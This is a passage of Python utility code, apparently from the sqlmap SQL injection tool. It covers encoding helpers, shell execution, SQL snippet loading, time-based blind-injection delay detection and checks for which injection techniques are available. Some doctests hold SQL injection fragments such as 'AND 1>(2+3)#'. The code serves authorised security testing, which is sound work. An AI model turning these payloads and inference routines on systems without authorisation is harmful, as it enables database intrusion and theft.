'C:\\\\Windows' """ return filepath.replace('/', '\\') if filepath else filepath def ntToPosixSlashes(filepath): """ Replaces all occurrences of NT backslashes in provided filepath with Posix slashes >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ return filepath.replace('\\', '/') if filepath else filepath def isHexEncodedString(subject): """ Checks if the provided string is hex encoded >>> isHexEncodedString('DEADBEEF') True >>> isHexEncodedString('test') False """ return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None @cachedmethod def getConsoleWidth(default=80): """ Returns console width >>> any((getConsoleWidth(), True)) True """ width = None if os.getenv("COLUMNS", "").isdigit(): width = int(os.getenv("COLUMNS")) else: try: output = shellExec("stty size") match = re.search(r"\A\d+ (\d+)", output) if match: width = int(match.group(1)) except (OSError, MemoryError): pass if width is None: try: import curses stdscr = curses.initscr() _, width = stdscr.getmaxyx() curses.endwin() except: pass return width or default def shellExec(cmd): """ Executes arbitrary shell command >>> shellExec('echo 1').strip() == '1' True """ retVal = "" try: retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" except Exception as ex: retVal = getSafeExString(ex) finally: retVal = getText(retVal) return retVal def clearConsoleLine(forceOutput=False): """ Clears current console line """ if IS_TTY: dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False def parseXmlFile(xmlFile, handler): """ Parses XML file by a given handler """ try: with contextlib.closing(io.StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) except (SAXParseException, UnicodeError) as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") True """ if sfile.endswith('.sql') and os.path.exists(sfile): filename = sfile elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile): filename = "%s.sql" % sfile else: filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) checkFile(filename) retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") for _ in variables: retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): retVal = retVal.replace(_, randomInt()) variables = re.findall(r"(? 1 else "", ", ".join(variables), sfile) logger.error(errMsg) msg = "do you want to provide the substitution values? [y/N] " if readInput(msg, default='N', boolean=True): for var in variables: msg = "insert value for variable '%s': " % var val = readInput(msg, default="") retVal = retVal.replace(r"%%%s%%" % var, val) return retVal def readCachedFileContent(filename, mode="rb"): """ Cached reading of file content (avoiding multiple same file reading) >>> "readCachedFileContent" in readCachedFileContent(__file__) True """ if filename not in kb.cache.content: with kb.locks.cache: if filename not in kb.cache.content: checkFile(filename) try: with openFile(filename, mode) as f: kb.cache.content[filename] = f.read() except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return kb.cache.content[filename] def average(values): """ Computes the arithmetic mean of a list of numbers. >>> "%.1f" % average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) '0.9' """ return (1.0 * sum(values) / len(values)) if values else None @cachedmethod def stdev(values): """ Computes standard deviation of a list of numbers. # Reference: http://www.goldb.org/corestats.html >>> "%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) '0.063' """ if not values or len(values) < 2: return None else: avg = average(values) _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values) return sqrt(_ / (len(values) - 1)) def calculateDeltaSeconds(start): """ Returns elapsed time from start till now >>> calculateDeltaSeconds(0) > 1151721660 True """ return time.time() - start def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] True """ kb.commonOutputs = {} key = None with openFile(paths.COMMON_OUTPUTS, 'r') as f: for line in f: if line.find('#') != -1: line = line[:line.find('#')] line = line.strip() if len(line) > 1: if line.startswith('[') and line.endswith(']'): key = line[1:-1] elif key: if key not in kb.commonOutputs: kb.commonOutputs[key] = set() if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) True """ retVal = list() if not unique else OrderedDict() if filename: filename = filename.strip('"\'') checkFile(filename) try: with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f: for line in f: if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] line = line.strip() if line: if lowercase: line = line.lower() if unique and line in retVal: continue if unique: retVal[line] = True else: retVal.append(line) except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return retVal if not unique else list(retVal.keys()) def goGoodSamaritan(prevValue, originalCharset): """ Function for retrieving parameters needed for common prediction (good samaritan) feature. prevValue: retrieved query output so far (e.g. 'i'). Returns commonValue if there is a complete single match (in kb.partRun of txt/common-outputs.txt under kb.partRun) regarding parameter prevValue. If there is no single value match, but multiple, commonCharset is returned containing more probable characters (retrieved from matched values in txt/common-outputs.txt) together with the rest of charset as otherCharset. """ if kb.commonOutputs is None: initCommonOutputs() predictionSet = set() commonValue = None commonPattern = None countCommonValue = 0 # If the header (e.g. Databases) we are looking for has common # outputs defined if kb.partRun in kb.commonOutputs: commonPartOutputs = kb.commonOutputs[kb.partRun] commonPattern = commonFinderOnly(prevValue, commonPartOutputs) # If the longest common prefix is the same as previous value then # do not consider it if commonPattern and commonPattern == prevValue: commonPattern = None # For each common output for item in commonPartOutputs: # Check if the common output (item) starts with prevValue # where prevValue is the enumerated character(s) so far if item.startswith(prevValue): commonValue = item countCommonValue += 1 if len(item) > len(prevValue): char = item[len(prevValue)] predictionSet.add(char) # Reset single value if there is more than one possible common # output if countCommonValue > 1: commonValue = None commonCharset = [] otherCharset = [] # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: if _unichr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) commonCharset.sort() return commonValue, commonPattern, commonCharset, originalCharset else: return None, None, None, originalCharset def getPartRun(alias=True): """ Goes through call stack and finds constructs matching conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None commonPartsDict = optDict["Enumeration"] try: stack = [item[4][0] if isinstance(item[4], list) else '' for item in inspect.stack()] # Goes backwards through the stack to find the conf.dbmsHandler method # calling this function for i in xrange(0, len(stack) - 1): for regex in (r"self\.(get[^(]+)\(\)", r"conf\.dbmsHandler\.([^(]+)\(\)"): match = re.search(regex, stack[i]) if match: # This is the calling conf.dbmsHandler or self method # (e.g. 'getDbms') retVal = match.groups()[0] break if retVal is not None: break # Reference: http://coding.derkeiler.com/Archive/Python/comp.lang.python/2004-06/2267.html except TypeError: pass # Return the INI tag to consider for common outputs (e.g. 'Databases') if alias: return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal else: return retVal def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 >>> longestCommonPrefix('foobar', 'fobar') 'fo' """ if len(sequences) == 1: return sequences[0] sequences = [pair[1] for pair in sorted((len(fi), fi) for fi in sequences)] if not sequences: return None for i, comparison_ch in enumerate(sequences[0]): for fi in sequences[1:]: ch = fi[i] if ch != comparison_ch: return fi[:i] return sequences[0] def commonFinderOnly(initial, sequence): """ Returns parts of sequence which start with the given initial string >>> commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]) 'abcde' """ return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) def pushValue(value): """ Push value to the stack (thread dependent) """ exception = None success = False for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): try: getCurrentThreadData().valueStack.append(copy.deepcopy(value)) success = True break except Exception as ex: exception = ex if not success: getCurrentThreadData().valueStack.append(None) if exception: raise exception def popValue(): """ Pop value from the stack (thread dependent) >>> pushValue('foobar') >>> popValue() 'foobar' """ retVal = None try: retVal = getCurrentThreadData().valueStack.pop() except IndexError: pass return retVal def wasLastResponseDBMSError(): """ Returns True if the last web request resulted in a (recognized) DBMS error page """ threadData = getCurrentThreadData() return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID def wasLastResponseHTTPError(): """ Returns True if the last web request resulted in an erroneous HTTP code (like 500) """ threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay """ # 99.9999999997440% of all non time-based SQL injection affected # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() if deviation and not conf.direct and not conf.disableStats: if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES logger.warning(warnMsg) lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) if not kb.testMode and retVal: if kb.adjustTimeDelay is None: msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: delta = threadData.lastQueryDuration - conf.timeSec if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average delta += 0.05 return delta >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval """ candidate = (1 if not isHeavyQueryBased() else 2) + int(round(lowerStdLimit)) kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB conf.timeSec = candidate infoMsg = "adjusting time delay to " infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.info(infoMsg) def getLastRequestHTTPError(): """ Returns last HTTP error code """ threadData = getCurrentThreadData() return threadData.lastHTTPError[1] if threadData.lastHTTPError else None def extractErrorMessage(page): """ Returns reported error message from page if it founds one >>> getText(extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') ) 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None True """ retVal = None if isinstance(page, six.string_types): if wasLastResponseDBMSError(): page = re.sub(r"<[^>]+>", "", page) for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.IGNORECASE) if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): retVal = candidate break if not retVal and wasLastResponseDBMSError(): match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) if match: retVal = match.group(0) return retVal def findLocalPort(ports): """ Find the first opened localhost port from a given list of ports (e.g. for Tor port checks) """ retVal = None for port in ports: try: try: s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) except AttributeError: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((LOCALHOST, port)) retVal = port break except socket.error: pass finally: try: s.close() except socket.error: pass return retVal def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault") '9051914041544843365972754266' """ retVal = None done = set() candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): _ = match.group(1).strip().strip('-') if _ in done: continue else: candidates.append((post.count(_), _)) done.add(_) if candidates: candidates.sort(key=lambda _: _[0], reverse=True) retVal = candidates[0][1] return retVal def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#' True >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' True >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' True """ result = value if value: value = getUnicode(value) if convall: result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) else: result = value charset = set(string.printable) - set(unsafe) def _(match): char = decodeHex(match.group(1), binary=False) return char if char in charset else match.group(0) if spaceplus: result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "") result = getUnicode(result, encoding or UNICODE_ENCODING) return result def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0") 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0' >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0") 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0' >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'") 'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27' """ if conf.get("direct"): return value count = 0 result = None if value is None else "" if value: value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value) if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" singleTimeWarnMessage(warnMsg) if convall or safe is None: safe = "" # corner case when character % really needs to be # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value) value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: result = _urllib.parse.quote(getBytes(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): break while count < len(URLENCODE_FAILSAFE_CHARS): safe += URLENCODE_FAILSAFE_CHARS[count] count += 1 if safe[-1] in value: break else: break if spaceplus: result = result.replace(_urllib.parse.quote(' '), '+') result = result.replace(DOLLAR_MARKER, '$') return result def runningAsAdmin(): """ Returns True if the current process is run under admin privileges """ isAdmin = None if PLATFORM in ("posix", "mac"): _ = os.geteuid() isAdmin = isinstance(_, (float, six.integer_types)) and _ == 0 elif IS_WIN: import ctypes _ = ctypes.windll.shell32.IsUserAnAdmin() isAdmin = isinstance(_, (float, six.integer_types)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " errMsg += "sqlmap will assume that you are an administrator " errMsg += "which is mandatory for the requested takeover attack " errMsg += "to work properly" logger.error(errMsg) isAdmin = True return isAdmin def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file """ if conf.harFile: conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) if conf.trafficFile: with kb.locks.log: dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-referenced function raise NotImplementedError @cachedmethod def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) >>> [_ for _ in getPublicTypeMembers(OS, True)] ['Linux', 'Windows'] >>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)] [1, 2, 3, 4, 5, 6] """ retVal = [] for name, value in inspect.getmembers(type_): if not name.startswith("__"): if not onlyValues: retVal.append((name, value)) else: retVal.append(value) return retVal def enumValueToNameLookup(type_, value_): """ Returns name of a enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' """ retVal = None for name, value in getPublicTypeMembers(type_): if value == value_: retVal = name break return retVal @cachedmethod def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content >>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' >>> extractRegexResult(r'a(?P[^g]+)g', 'ABCDEFG', re.I) 'BCDEF' """ retVal = None if regex and content and "?P" in regex: if isinstance(content, six.binary_type) and isinstance(regex, six.text_type): regex = getBytes(regex) match = re.search(regex, content, flags) if match: retVal = match.group("result") return retVal def extractTextTagContent(page): """ Returns list containing content from "textual" tags >>> extractTextTagContent('Title
foobar
Link') ['Title', 'foobar'] """ page = page or "" if REFLECTED_VALUE_MARKER in page: try: page = re.sub(r"(?i)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value >>> trimAlphaNum('AND 1>(2+3)-- foobar') ' 1>(2+3)-- ' """ while value and value[-1].isalnum(): value = value[:-1] while value and value[0].isalnum(): value = value[1:] return value def isNumPosStrValue(value): """ Returns True if value is a string (or integer) with a positive integer representation >>> isNumPosStrValue(1) True >>> isNumPosStrValue('1') True >>> isNumPosStrValue(0) False >>> isNumPosStrValue('-2') False >>> isNumPosStrValue('100000000000000000000') False """ retVal = False try: retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT except ValueError: pass return retVal @cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias >>> aliasToDbmsEnum('mssql') 'Microsoft SQL Server' """ retVal = None if dbms: for key, item in DBMS_DICT.items(): if dbms.lower() in item[0] or dbms.lower() == key.lower(): retVal = key break return retVal def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") >>> kb.dynamicMarkings [('natum reque et per. ', 'Facer tritani repreh')] """ if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: (_, _, length) = block if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle if len(blocks) > 0: blocks.insert(0, None) blocks.append(None) for i in xrange(len(blocks) - 1): prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None if prefix is None and blocks[i + 1][0] == 0: continue if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue if prefix and suffix: prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] for _ in (firstPage, secondPage): match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) if match: infix = match.group(1) if infix[0].isalnum(): prefix = trimAlphaNum(prefix) if infix[-1].isalnum(): suffix = trimAlphaNum(suffix) break kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') singleTimeLogMessage(infoMsg) def removeDynamicContent(page): """ Removing dynamic content from supplied page basing removal on precalculated dynamic markings """ if page: for item in kb.dynamicMarkings: prefix, suffix = item if prefix is None and suffix is None: continue elif prefix is None: page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page def filterStringValue(value, charRegex, replacement=""): """ Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) >>> filterStringValue('wzydeadbeef0123#', r'[0-9a-f]') 'deadbeef0123' """ retVal = value if value: retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value) return retVal def filterControlChars(value, replacement=' '): """ Returns string value with control chars being supstituted with replacement character >>> filterControlChars('AND 1>(2+3)\\n--') 'AND 1>(2+3) --' """ return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) def filterNone(values): """ Emulates filterNone([...]) functionality >>> filterNone([1, 2, "", None, 3]) [1, 2, 3] """ retVal = values if isinstance(values, _collections.Iterable): retVal = [_ for _ in values if _] return retVal def isDBMSVersionAtLeast(minimum): """ Checks if the recognized DBMS version is at least the version specified >>> pushValue(kb.dbmsVersion) >>> kb.dbmsVersion = "2" >>> isDBMSVersionAtLeast("1.3.4.1.4") True >>> isDBMSVersionAtLeast(2.1) False >>> isDBMSVersionAtLeast(">2") False >>> isDBMSVersionAtLeast(">=2.0") True >>> kb.dbmsVersion = "<2" >>> isDBMSVersionAtLeast("2") False >>> isDBMSVersionAtLeast("1.5") True >>> kb.dbmsVersion = "MySQL 5.4.3-log4" >>> isDBMSVersionAtLeast("5") True >>> kb.dbmsVersion = popValue() """ retVal = None if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: version = Backend.getVersion().replace(" ", "").rstrip('.') correction = 0.0 if ">=" in version: pass elif '>' in version: correction = VERSION_COMPARISON_CORRECTION elif '<' in version: correction = -VERSION_COMPARISON_CORRECTION version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) if version: if '.' in version: parts = version.split('.', 1) parts[1] = filterStringValue(parts[1], '[0-9]') version = '.'.join(parts) try: version = float(filterStringValue(version, '[0-9.]')) + correction except ValueError: return None if isinstance(minimum, six.string_types): if '.' in minimum: parts = minimum.split('.', 1) parts[1] = filterStringValue(parts[1], '[0-9]') minimum = '.'.join(parts) correction = 0.0 if minimum.startswith(">="): pass elif minimum.startswith(">"): correction = VERSION_COMPARISON_CORRECTION minimum = float(filterStringValue(minimum, '[0-9.]')) + correction retVal = version >= minimum return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema >>> kb.data.cachedColumns = {} >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) True >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) True >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) True >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) True """ retVal = False value = extractRegexResult(r"(?s)\((?P.+)\)", value) if value: table = {} columns = OrderedDict() value = re.sub(r"\(.+?\)", "", value).strip() for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): column = match.group(1).strip(match.group(2) or "") if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): continue retVal = True columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns kb.data.cachedColumns[conf.db] = table return retVal def getTechniqueData(technique=None): """ Returns injection data for technique specified """ return kb.injection.data.get(technique if technique is not None else getTechnique()) def isTechniqueAvailable(technique): """ Returns True if there is injection data which sqlmap could use for technique specified >>> pushValue(kb.injection.data) >>> kb.injection.data[PAYLOAD.TECHNIQUE.ERROR] = [test for test in getSortedInjectionTests() if "error" in test["title"].lower()][0] >>> isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) True >>> kb.injection.data = popValue() """ if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique: return False else: return getTechniqueData(technique) is not None def isHeavyQueryBased(technique=None): """ Returns True whether current (kb.)technique is heavy-query based >>> pushValue(kb.injection.data) >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED) >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] >>> isHeavyQueryBased() True >>> kb.injection.data = popValue() """ retVal = False technique = technique or getTechnique() if isTechniqueAvailable(technique): data = getTechniqueData(technique) if data and "heavy query" in data["title"].lower(): retVal = True return retVal def isStackingAvailable(): """ Returns True whether techniques using stacking are available >>> pushValue(kb.injection.data) >>> kb.injection.data[PAYLOAD.TECHNIQUE.STACKED] = [test for test in getSortedInjectionTests() if "stacked" in test["title"].lower()][0] >>> isStackingAvailable() True >>> kb.injection.data = popValue() """ retVal = False if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: retVal = True else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): data = getTechniqueData(technique) if data and "stacked" in data["title"].lower(): retVal = True break return retVal def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available >>> pushValue(kb.injection.data) >>> kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = getSortedInjectionTests()[0] >>> isInferenceAvailable() True >>> kb.injection.data = popValue() """ return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) def setOptimize(): """ Sets options turned on by switch '-o' """ # conf.predictOutput = True conf.keepAlive = True conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" logger.debug(debugMsg) def saveConfig(conf, filename): """ Saves conf to configuration filename """ config = UnicodeRawConfigParser() userOpts = {} for family in optDict: userOpts[family] = [] for option, value in conf.items(): for family, optionData in optDict.items(): if option in optionData: userOpts[family].append((option, value, optionData[option])) for family, optionData in userOpts.items(): config.add_section(family) 